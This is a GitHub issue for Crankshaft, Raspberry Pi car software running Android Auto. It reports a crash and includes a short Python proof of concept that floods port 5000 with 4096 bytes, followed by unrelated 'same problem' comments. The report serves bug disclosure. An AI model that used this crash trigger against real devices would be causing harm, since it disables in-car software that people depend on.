crankshaft icon indicating copy to clipboard operation
crankshaft copied to clipboard

Crankshaft will crash if you send an invalid data.

Open dhje0ng opened this issue 2 years ago • 3 comments

If you need support: Please post on https://www.reddit.com/r/crankshaft/ as this is a bug tracker, not a support forum.

Note: Reporting issues not based on official published builds will be closed without any comment.

  • What phone do you have? Raspberry PI 4 Model B

  • What OS version? Raspberry PI 4 Model B

  • What crankshaft version? https://github.com/opencardev/crankshaft/releases/tag/v.2022.09.12.1

  • Steps to reproduce the bug, if you're planning to report a bug. Please indicate whether the bug is always reproducible.

  1. Write and boot Crankshaft image on Raspberry PI4. Images use the latest version released on Github.
  2. To run Android Auto, connect your smartphone and Raspberry PI4 with a USB cable and run Android Auto!
  3. Executes POC code when Android Auto is running.
  4. Run the attached POC code. It is always reproducible. (However, the POC code has the network address of the tester, so you need to modify the IP address in the 6th line of the code!)
  • Proof Of Concept Code
#!/usr/bin/python3

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.118', 5000))
s.send(b'A'*4096)
r = s.recv(1024)
print(r)
print('exploit!!')
s.close()

MicrosoftTeams-image (1)

My guess is that this is what autoapp is crashing, but I haven't analyzed detailed logs. Instead, I'm attaching the debug logs I dumped in developer mode.

This crashes the Android Auto function and makes it impossible to use it normally and sometimes crashes the autoapp in OpenCarOS (Crankshaft).

Thank you. debug.zip

dhje0ng avatar Jan 10 '23 07:01 dhje0ng

I have a similar problem.

balac207134 avatar Feb 18 '23 19:02 balac207134

Trying to Start openauto in EGL Mode and then it crashes. Running debuglog, it says couldn’t open /dev/i2c-1. This happens even after i2c is enabled

balac207134 avatar Feb 18 '23 19:02 balac207134

L

same problem :(

bluezczatu avatar Jun 13 '24 19:06 bluezczatu